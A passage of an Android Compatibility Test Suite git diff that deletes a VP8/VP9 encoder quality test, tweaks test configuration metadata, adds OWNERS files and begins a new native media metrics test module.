- double curMinimumPSNR = curYPSNR;
-
- // Calculate U PSNR.
- bytesReadRef = referenceStream.read(uvRef);
- bytesReadDec = decodedStream.read(uvDec);
- double curUPSNR = computePSNR(uvRef, uvDec);
- averageUPSNR += curUPSNR;
- minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
- curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
-
- // Calculate V PSNR.
- bytesReadRef = referenceStream.read(uvRef);
- bytesReadDec = decodedStream.read(uvDec);
- double curVPSNR = computePSNR(uvRef, uvDec);
- averageVPSNR += curVPSNR;
- minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
- curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
-
- // Frame index for minimum PSNR value - help to detect possible distortions
- if (curMinimumPSNR < statistics.mMinimumPSNR) {
- statistics.mMinimumPSNR = curMinimumPSNR;
- minimumPSNRFrameIndex = frames;
- }
-
- String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
- frames, curYPSNR, curUPSNR, curVPSNR);
- Log.v(TAG, logStr);
-
- frames++;
- }
-
- averageYPSNR /= frames;
- averageUPSNR /= frames;
- averageVPSNR /= frames;
- statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
-
- Log.d(TAG, "PSNR statistics for " + frames + " frames.");
- String logStr = String.format(Locale.US,
- "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
- averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
- Log.d(TAG, logStr);
- logStr = String.format(Locale.US,
- "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
- minimumYPSNR, minimumUPSNR, minimumVPSNR,
- statistics.mMinimumPSNR, minimumPSNRFrameIndex);
- Log.d(TAG, logStr);
-
- referenceStream.close();
- decodedStream.close();
- return statistics;
- }
-}
diff --git a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
deleted file mode 100644
index 586628b..0000000
--- a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
+++ /dev/null
@@ -1,556 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.media.cts.R;
-
-import java.io.File;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-/**
- * Verification test for vp8/vp9 encoder and decoder.
- *
- * A raw yv12 stream is encoded at various settings and written to an IVF
- * file. Encoded stream bitrate and key frame interval are checked against target values.
- * The stream is later decoded by vp8/vp9 decoder to verify frames are decodable and to
- * calculate PSNR values for various bitrates.
- */
-@MediaHeavyPresubmitTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class VpxEncoderTest extends VpxCodecTestBase {
-
- private static final String ENCODED_IVF_BASE = "football";
- private static final String INPUT_YUV = null;
- private static final String OUTPUT_YUV = SDCARD_DIR + File.separator +
- ENCODED_IVF_BASE + "_out.yuv";
-
- // YUV stream properties.
- private static final int WIDTH = 320;
- private static final int HEIGHT = 240;
- private static final int FPS = 30;
- // Default encoding bitrate.
- private static final int BITRATE = 400000;
- // Default encoding bitrate mode
- private static final int BITRATE_MODE = VIDEO_ControlRateVariable;
- // List of bitrates used in quality and basic bitrate tests.
- private static final int[] TEST_BITRATES_SET = { 300000, 500000, 700000, 900000 };
- // Maximum allowed bitrate variation from the target value.
- private static final double MAX_BITRATE_VARIATION = 0.2;
- // Average PSNR values for reference Google VPx codec for the above bitrates.
- private static final double[] REFERENCE_AVERAGE_PSNR = { 33.1, 35.2, 36.6, 37.8 };
- // Minimum PSNR values for reference Google VPx codec for the above bitrates.
- private static final double[] REFERENCE_MINIMUM_PSNR = { 25.9, 27.5, 28.4, 30.3 };
- // Maximum allowed average PSNR difference of encoder comparing to reference Google encoder.
- private static final double MAX_AVERAGE_PSNR_DIFFERENCE = 2;
- // Maximum allowed minimum PSNR difference of encoder comparing to reference Google encoder.
- private static final double MAX_MINIMUM_PSNR_DIFFERENCE = 4;
- // Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
- // buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
- // buffer dequeue timeout.
- private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 1.5;
- // Maximum allowed minimum PSNR difference of the encoder running in a looper thread
- // comparing to the encoder running in a callee's thread.
- private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
- // Maximum allowed average key frame interval variation from the target value.
- private static final int MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION = 1;
- // Maximum allowed key frame interval variation from the target value.
- private static final int MAX_KEYFRAME_INTERVAL_VARIATION = 3;
-
- /**
- * A basic test for VPx encoder.
- *
- * Encodes 9 seconds of raw stream with default configuration options,
- * and then decodes it to verify the bitstream.
- * Also checks the average bitrate is within MAX_BITRATE_VARIATION of the target value.
- */
- private void internalTestBasic(String codecMimeType) throws Exception {
- int encodeSeconds = 9;
- boolean skipped = true;
-
- for (int targetBitrate : TEST_BITRATES_SET) {
- EncoderOutputStreamParameters params = getDefaultEncodingParameters(
- INPUT_YUV,
- ENCODED_IVF_BASE,
- codecMimeType,
- encodeSeconds,
- WIDTH,
- HEIGHT,
- FPS,
- BITRATE_MODE,
- targetBitrate,
- true);
- ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
- if (bufInfo == null) {
- continue;
- }
- skipped = false;
-
- VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
- /* Allow achieved bitrate to be smaller than target bitrate for
- * VIDEO_ControlRateVariable mode */
- if ((params.bitrateType == VIDEO_ControlRateConstant) ||
- (statistics.mAverageBitrate > targetBitrate)) {
- assertEquals("Stream bitrate " + statistics.mAverageBitrate +
- " is different from the target " + targetBitrate,
- targetBitrate, statistics.mAverageBitrate,
- MAX_BITRATE_VARIATION * targetBitrate);
- }
-
- decode(params.outputIvfFilename, null, codecMimeType, FPS, params.forceGoogleEncoder);
- }
-
- if (skipped) {
- Log.i(TAG, "SKIPPING testBasic(): codec is not supported");
- }
- }
-
- /**
- * Asynchronous encoding test for VPx encoder.
- *
- * Encodes 9 seconds of raw stream using synchronous and asynchronous calls.
- * Checks the PSNR difference between the encoded and decoded output and reference yuv input
- * does not change much for two different ways of the encoder call.
- */
- private void internalTestAsyncEncoding(String codecMimeType) throws Exception {
- int encodeSeconds = 9;
-
- // First test the encoder running in a looper thread with buffer callbacks enabled.
- boolean syncEncoding = false;
- EncoderOutputStreamParameters params = getDefaultEncodingParameters(
- INPUT_YUV,
- ENCODED_IVF_BASE,
- codecMimeType,
- encodeSeconds,
- WIDTH,
- HEIGHT,
- FPS,
- BITRATE_MODE,
- BITRATE,
- syncEncoding);
- ArrayList<MediaCodec.BufferInfo> bufInfos = encodeAsync(params);
- if (bufInfos == null) {
- Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
- return;
- }
- computeEncodingStatistics(bufInfos);
- decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
- VpxDecodingStatistics statisticsAsync = computeDecodingStatistics(
- params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
- params.frameWidth, params.frameHeight);
-
-
- // Test the encoder running in a callee's thread.
- syncEncoding = true;
- params = getDefaultEncodingParameters(
- INPUT_YUV,
- ENCODED_IVF_BASE,
- codecMimeType,
- encodeSeconds,
- WIDTH,
- HEIGHT,
- FPS,
- BITRATE_MODE,
- BITRATE,
- syncEncoding);
- bufInfos = encode(params);
- if (bufInfos == null) {
- Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
- return;
- }
- computeEncodingStatistics(bufInfos);
- decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
- VpxDecodingStatistics statisticsSync = computeDecodingStatistics(
- params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
- params.frameWidth, params.frameHeight);
-
- // Check PSNR difference.
- Log.d(TAG, "PSNR Average: Async: " + statisticsAsync.mAveragePSNR +
- ". Sync: " + statisticsSync.mAveragePSNR);
- Log.d(TAG, "PSNR Minimum: Async: " + statisticsAsync.mMinimumPSNR +
- ". Sync: " + statisticsSync.mMinimumPSNR);
- if ((Math.abs(statisticsAsync.mAveragePSNR - statisticsSync.mAveragePSNR) >
- MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE) ||
- (Math.abs(statisticsAsync.mMinimumPSNR - statisticsSync.mMinimumPSNR) >
- MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE)) {
- throw new RuntimeException("Difference between PSNRs for async and sync encoders");
- }
- }
-
- /**
- * Check if MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME is honored.
- *
- * Encodes 9 seconds of raw stream and requests a sync frame every second (30 frames).
- * The test does not verify the output stream.
- */
- private void internalTestSyncFrame(String codecMimeType, boolean useNdk) throws Exception {
- int encodeSeconds = 9;
-
- EncoderOutputStreamParameters params = getDefaultEncodingParameters(
- INPUT_YUV,
- ENCODED_IVF_BASE,
- codecMimeType,
- encodeSeconds,
- WIDTH,
- HEIGHT,
- FPS,
- BITRATE_MODE,
- BITRATE,
- true);
- params.syncFrameInterval = encodeSeconds * FPS;
- params.syncForceFrameInterval = FPS;
- params.useNdk = useNdk;
- ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
- if (bufInfo == null) {
- Log.i(TAG, "SKIPPING testSyncFrame(): no suitable encoder found");
- return;
- }
-
- VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
- // First check if we got expected number of key frames.
- int actualKeyFrames = statistics.mKeyFrames.size();
- if (actualKeyFrames != encodeSeconds) {
- throw new RuntimeException("Number of key frames " + actualKeyFrames +
- " is different from the expected " + encodeSeconds);
- }
-
- // Check key frame intervals:
- // Average value should be within +/- 1 frame of the target value,
- // maximum value should not be greater than target value + 3,
- // and minimum value should not be less that target value - 3.
- if (Math.abs(statistics.mAverageKeyFrameInterval - FPS) >
- MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION ||
- (statistics.mMaximumKeyFrameInterval - FPS > MAX_KEYFRAME_INTERVAL_VARIATION) ||
- (FPS - statistics.mMinimumKeyFrameInterval > MAX_KEYFRAME_INTERVAL_VARIATION)) {
- throw new RuntimeException(
- "Key frame intervals are different from the expected " + FPS);
- }
- }
-
- /**
- * Check if MediaCodec.PARAMETER_KEY_VIDEO_BITRATE is honored.
- *
- * Run the the encoder for 12 seconds. Request changes to the
- * bitrate after 6 seconds and ensure the encoder responds.
- */
- private void internalTestDynamicBitrateChange(String codecMimeType, boolean useNdk) throws Exception {
- int encodeSeconds = 12; // Encoding sequence duration in seconds.
- int[] bitrateTargetValues = { 400000, 800000 }; // List of bitrates to test.
-
- EncoderOutputStreamParameters params = getDefaultEncodingParameters(
- INPUT_YUV,
- ENCODED_IVF_BASE,
- codecMimeType,
- encodeSeconds,
- WIDTH,
- HEIGHT,
- FPS,
- BITRATE_MODE,
- bitrateTargetValues[0],
- true);
-
- // Number of seconds for each bitrate
- int stepSeconds = encodeSeconds / bitrateTargetValues.length;
- // Fill the bitrates values.
- params.bitrateSet = new int[encodeSeconds * FPS];
- for (int i = 0; i < bitrateTargetValues.length ; i++) {
- Arrays.fill(params.bitrateSet,
- i * encodeSeconds * FPS / bitrateTargetValues.length,
- (i + 1) * encodeSeconds * FPS / bitrateTargetValues.length,
- bitrateTargetValues[i]);
- }
-
- params.useNdk = useNdk;
- ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
- if (bufInfo == null) {
- Log.i(TAG, "SKIPPING testDynamicBitrateChange(): no suitable encoder found");
- return;
- }
-
- VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
- // Calculate actual average bitrates for every [stepSeconds] second.
- int[] bitrateActualValues = new int[bitrateTargetValues.length];
- for (int i = 0; i < bitrateTargetValues.length ; i++) {
- bitrateActualValues[i] = 0;
- for (int j = i * stepSeconds; j < (i + 1) * stepSeconds; j++) {
- bitrateActualValues[i] += statistics.mBitrates.get(j);
- }
- bitrateActualValues[i] /= stepSeconds;
- Log.d(TAG, "Actual bitrate for interval #" + i + " : " + bitrateActualValues[i] +
- ". Target: " + bitrateTargetValues[i]);
-
- // Compare actual bitrate values to make sure at least same increasing/decreasing
- // order as the target bitrate values.
- for (int j = 0; j < i; j++) {
- long differenceTarget = bitrateTargetValues[i] - bitrateTargetValues[j];
- long differenceActual = bitrateActualValues[i] - bitrateActualValues[j];
- if (differenceTarget * differenceActual < 0) {
- throw new RuntimeException("Target bitrates: " +
- bitrateTargetValues[j] + " , " + bitrateTargetValues[i] +
- ". Actual bitrates: "
- + bitrateActualValues[j] + " , " + bitrateActualValues[i]);
- }
- }
- }
- }
-
- /**
- * Check if encoder and decoder can run simultaneously on different threads.
- *
- * Encodes and decodes 9 seconds of raw stream sequentially in CBR mode,
- * and then run parallel encoding and decoding of the same streams.
- * Compares average bitrate and PSNR for sequential and parallel runs.
- */
- private void internalTestParallelEncodingAndDecoding(String codecMimeType) throws Exception {
- // check for encoder up front, as by the time we detect lack of
- // encoder support, we may have already started decoding.
- MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- MediaFormat format = MediaFormat.createVideoFormat(codecMimeType, WIDTH, HEIGHT);
- if (mcl.findEncoderForFormat(format) == null) {
- Log.i(TAG, "SKIPPING testParallelEncodingAndDecoding(): no suitable encoder found");
- return;
- }
-
- int encodeSeconds = 9;
- final int[] bitrate = new int[1];
- final double[] psnr = new double[1];
- final Exception[] exceptionEncoder = new Exception[1];
- final Exception[] exceptionDecoder = new Exception[1];
- final EncoderOutputStreamParameters params = getDefaultEncodingParameters(
- INPUT_YUV,
- ENCODED_IVF_BASE,
- codecMimeType,
- encodeSeconds,
- WIDTH,
- HEIGHT,
- FPS,
- VIDEO_ControlRateConstant,
- BITRATE,
- true);
- final String inputIvfFilename = params.outputIvfFilename;
-
- Runnable runEncoder = new Runnable() {
- public void run() {
- try {
- ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
- VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
- bitrate[0] = statistics.mAverageBitrate;
- } catch (Exception e) {
- Log.e(TAG, "Encoder error: " + e.toString());
- exceptionEncoder[0] = e;
- }
- }
- };
- Runnable runDecoder = new Runnable() {
- public void run() {
- try {
- decode(inputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
- VpxDecodingStatistics statistics = computeDecodingStatistics(
- params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
- params.frameWidth, params.frameHeight);
- psnr[0] = statistics.mAveragePSNR;
- } catch (Exception e) {
- Log.e(TAG, "Decoder error: " + e.toString());
- exceptionDecoder[0] = e;
- }
- }
- };
-
- // Sequential encoding and decoding.
- runEncoder.run();
- if (exceptionEncoder[0] != null) {
- throw exceptionEncoder[0];
- }
- int referenceBitrate = bitrate[0];
- runDecoder.run();
- if (exceptionDecoder[0] != null) {
- throw exceptionDecoder[0];
- }
- double referencePsnr = psnr[0];
-
- // Parallel encoding and decoding.
- params.outputIvfFilename = SDCARD_DIR + File.separator + ENCODED_IVF_BASE + "_copy.ivf";
- Thread threadEncoder = new Thread(runEncoder);
- Thread threadDecoder = new Thread(runDecoder);
- threadEncoder.start();
- threadDecoder.start();
- threadEncoder.join();
- threadDecoder.join();
- if (exceptionEncoder[0] != null) {
- throw exceptionEncoder[0];
- }
- if (exceptionDecoder[0] != null) {
- throw exceptionDecoder[0];
- }
-
- // Compare bitrates and PSNRs for sequential and parallel cases.
- Log.d(TAG, "Sequential bitrate: " + referenceBitrate + ". PSNR: " + referencePsnr);
- Log.d(TAG, "Parallel bitrate: " + bitrate[0] + ". PSNR: " + psnr[0]);
- assertEquals("Bitrate for sequenatial encoding" + referenceBitrate +
- " is different from parallel encoding " + bitrate[0],
- referenceBitrate, bitrate[0], MAX_BITRATE_VARIATION * referenceBitrate);
- assertEquals("PSNR for sequenatial encoding" + referencePsnr +
- " is different from parallel encoding " + psnr[0],
- referencePsnr, psnr[0], MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE);
- }
-
-
- /**
- * Check the encoder quality for various bitrates by calculating PSNR
- *
- * Run the the encoder for 9 seconds for each bitrate and calculate PSNR
- * for each encoded stream.
- * Video streams with higher bitrates should have higher PSNRs.
- * Also compares average and minimum PSNR of codec with PSNR values of reference Google codec.
- */
- private void internalTestEncoderQuality(String codecMimeType) throws Exception {
- int encodeSeconds = 9; // Encoding sequence duration in seconds for each bitrate.
- double[] psnrPlatformCodecAverage = new double[TEST_BITRATES_SET.length];
- double[] psnrPlatformCodecMin = new double[TEST_BITRATES_SET.length];
- boolean[] completed = new boolean[TEST_BITRATES_SET.length];
- boolean skipped = true;
-
- // Run platform specific encoder for different bitrates
- // and compare PSNR of codec with PSNR of reference Google codec.
- for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
- EncoderOutputStreamParameters params = getDefaultEncodingParameters(
- INPUT_YUV,
- ENCODED_IVF_BASE,
- codecMimeType,
- encodeSeconds,
- WIDTH,
- HEIGHT,
- FPS,
- BITRATE_MODE,
- TEST_BITRATES_SET[i],
- true);
- if (encode(params) == null) {
- // parameters not supported, try other bitrates
- completed[i] = false;
- continue;
- }
- completed[i] = true;
- skipped = false;
-
- decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
- VpxDecodingStatistics statistics = computeDecodingStatistics(
- params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
- params.frameWidth, params.frameHeight);
- psnrPlatformCodecAverage[i] = statistics.mAveragePSNR;
- psnrPlatformCodecMin[i] = statistics.mMinimumPSNR;
- }
-
- if (skipped) {
- Log.i(TAG, "SKIPPING testEncoderQuality(): no bitrates supported");
- return;
- }
-
- // First do a sanity check - higher bitrates should results in higher PSNR.
- for (int i = 1; i < TEST_BITRATES_SET.length ; i++) {
- if (!completed[i]) {
- continue;
- }
- for (int j = 0; j < i; j++) {
- if (!completed[j]) {
- continue;
- }
- double differenceBitrate = TEST_BITRATES_SET[i] - TEST_BITRATES_SET[j];
- double differencePSNR = psnrPlatformCodecAverage[i] - psnrPlatformCodecAverage[j];
- if (differenceBitrate * differencePSNR < 0) {
- throw new RuntimeException("Target bitrates: " +
- TEST_BITRATES_SET[j] + ", " + TEST_BITRATES_SET[i] +
- ". Actual PSNRs: "
- + psnrPlatformCodecAverage[j] + ", " + psnrPlatformCodecAverage[i]);
- }
- }
- }
-
- // Then compare average and minimum PSNR of platform codec with reference Google codec -
- // average PSNR for platform codec should be no more than 2 dB less than reference PSNR
- // and minumum PSNR - no more than 4 dB less than reference minimum PSNR.
- // These PSNR difference numbers are arbitrary for now, will need further estimation
- // when more devices with HW VP8 codec will appear.
- for (int i = 0; i < TEST_BITRATES_SET.length ; i++) {
- if (!completed[i]) {
- continue;
- }
-
- Log.d(TAG, "Bitrate " + TEST_BITRATES_SET[i]);
- Log.d(TAG, "Reference: Average: " + REFERENCE_AVERAGE_PSNR[i] + ". Minimum: " +
- REFERENCE_MINIMUM_PSNR[i]);
- Log.d(TAG, "Platform: Average: " + psnrPlatformCodecAverage[i] + ". Minimum: " +
- psnrPlatformCodecMin[i]);
- if (psnrPlatformCodecAverage[i] < REFERENCE_AVERAGE_PSNR[i] -
- MAX_AVERAGE_PSNR_DIFFERENCE) {
- throw new RuntimeException("Low average PSNR " + psnrPlatformCodecAverage[i] +
- " comparing to reference PSNR " + REFERENCE_AVERAGE_PSNR[i] +
- " for bitrate " + TEST_BITRATES_SET[i]);
- }
- if (psnrPlatformCodecMin[i] < REFERENCE_MINIMUM_PSNR[i] -
- MAX_MINIMUM_PSNR_DIFFERENCE) {
- throw new RuntimeException("Low minimum PSNR " + psnrPlatformCodecMin[i] +
- " comparing to reference PSNR " + REFERENCE_MINIMUM_PSNR[i] +
- " for bitrate " + TEST_BITRATES_SET[i]);
- }
- }
- }
-
- public void testBasicVP8() throws Exception { internalTestBasic(VP8_MIME); }
- public void testBasicVP9() throws Exception { internalTestBasic(VP9_MIME); }
-
- public void testAsyncEncodingVP8() throws Exception { internalTestAsyncEncoding(VP8_MIME); }
- public void testAsyncEncodingVP9() throws Exception { internalTestAsyncEncoding(VP9_MIME); }
-
- public void testSyncFrameVP8() throws Exception { internalTestSyncFrame(VP8_MIME, false); }
- public void testSyncFrameVP8Ndk() throws Exception { internalTestSyncFrame(VP8_MIME, true); }
- public void testSyncFrameVP9() throws Exception { internalTestSyncFrame(VP9_MIME, false); }
- public void testSyncFrameVP9Ndk() throws Exception { internalTestSyncFrame(VP9_MIME, true); }
-
- public void testDynamicBitrateChangeVP8() throws Exception {
- internalTestDynamicBitrateChange(VP8_MIME, false);
- }
- public void testDynamicBitrateChangeVP8Ndk() throws Exception {
- internalTestDynamicBitrateChange(VP8_MIME, true);
- }
- public void testDynamicBitrateChangeVP9() throws Exception {
- internalTestDynamicBitrateChange(VP9_MIME, false);
- }
- public void testDynamicBitrateChangeVP9Ndk() throws Exception {
- internalTestDynamicBitrateChange(VP9_MIME, true);
- }
-
- public void testParallelEncodingAndDecodingVP8() throws Exception {
- internalTestParallelEncodingAndDecoding(VP8_MIME);
- }
- public void testParallelEncodingAndDecodingVP9() throws Exception {
- internalTestParallelEncodingAndDecoding(VP9_MIME);
- }
-
- public void testEncoderQualityVP8() throws Exception { internalTestEncoderQuality(VP8_MIME); }
- public void testEncoderQualityVP9() throws Exception { internalTestEncoderQuality(VP9_MIME); }
-
-}
-
diff --git a/tests/tests/midi/AndroidTest.xml b/tests/tests/midi/AndroidTest.xml
index f8fa763..707e0be 100644
--- a/tests/tests/midi/AndroidTest.xml
+++ b/tests/tests/midi/AndroidTest.xml
@@ -16,8 +16,9 @@
<configuration description="Config for CTS MIDI test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="media" />
- <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
<option name="user-type" value="system" />
</target_preparer>
diff --git a/tests/tests/midi/OWNERS b/tests/tests/midi/OWNERS
new file mode 100644
index 0000000..e78e1d0
--- /dev/null
+++ b/tests/tests/midi/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+philburk@google.com
diff --git a/tests/tests/multiuser/AndroidTest.xml b/tests/tests/multiuser/AndroidTest.xml
index 8edf9d6..df4a765 100644
--- a/tests/tests/multiuser/AndroidTest.xml
+++ b/tests/tests/multiuser/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMultiUserTestCases.apk" />
diff --git a/tests/tests/multiuser/OWNERS b/tests/tests/multiuser/OWNERS
new file mode 100644
index 0000000..2b344eb
--- /dev/null
+++ b/tests/tests/multiuser/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 71510
+include /tests/app/OWNERS
+
+bookatz@google.com
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index bf1b582..afaea87 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1556,10 +1556,7 @@
}
}
} else {
- // TODO(b/123042748): The fact that glEGLImageTargetTexStorageEXT does not work for YUV
- // textures is a bug. The condition for the target should be removed
- // once the bug is fixed.
- if (HasGLExtension("GL_EXT_EGL_image_storage") && mTexTarget != GL_TEXTURE_EXTERNAL_OES) {
+ if (HasGLExtension("GL_EXT_EGL_image_storage")) {
glEGLImageTargetTexStorageEXT(mTexTarget, static_cast<GLeglImageOES>(mEGLImage),
nullptr);
} else {
diff --git a/tests/tests/nativemedia/aaudio/AndroidTest.xml b/tests/tests/nativemedia/aaudio/AndroidTest.xml
index 12da94e..6d116c2 100644
--- a/tests/tests/nativemedia/aaudio/AndroidTest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/nativemedia/mediametrics/Android.bp b/tests/tests/nativemedia/mediametrics/Android.bp
new file mode 100644
index 0000000..6e1ecc1
--- /dev/null
+++ b/tests/tests/nativemedia/mediametrics/Android.bp
@@ -0,0 +1,54 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+cc_test {
+ name: "CtsNativeMediaMetricsTestCases",
+
+ compile_multilib: "both",
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+
+ srcs: ["src/MediaMetricsTest.cpp"],
+
+ shared_libs: [
+ "liblog",
+ "libmediametrics",
+ "libutils",
+ ],
+
+ static_libs: [
+ "libgtest",
+ ],
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+
+ cflags: [
+ "-Werror",
+ "-Wall",
+ ],
+
+}
diff --git a/tests/tests/nativemedia/mediametrics/AndroidTest.xml b/tests/tests/nativemedia/mediametrics/AndroidTest.xml
new file mode 100644
index 0000000..b84510f
--- /dev/null
+++ b/tests/tests/nativemedia/mediametrics/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Native Media Metrics test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="media" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+ <option name="push" value="CtsNativeMediaMetricsTestCases->/data/local/tmp/CtsNativeMediaMetricsTestCases" />
+ <option name="append-bitness" value="true" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.GTest" >
+ <option name="native-test-device-path" value="/data/local/tmp" />
+ <option name="module-name" value="CtsNativeMediaMetricsTestCases" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/tests/nativemedia/mediametrics/src/MediaMetricsTest.cpp b/tests/tests/nativemedia/mediametrics/src/MediaMetricsTest.cpp
new file mode 100644
index 0000000..fef80ba
--- /dev/null
+++ b/tests/tests/nativemedia/mediametrics/src/MediaMetricsTest.cpp
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_NDEBUG 0
+#define LOG_TAG "MediaMetricsTest"
+
+#include <gtest/gtest.h>
+#include <utils/Log.h>
+#include <MediaMetrics.h>
+
+//-----------------------------------------------------------------
+class MediaMetricsTest : public ::testing::Test {
+
+protected:
+ MediaMetricsTest() { }
+
+ virtual ~MediaMetricsTest() { }
+
+ /* Test setup*/
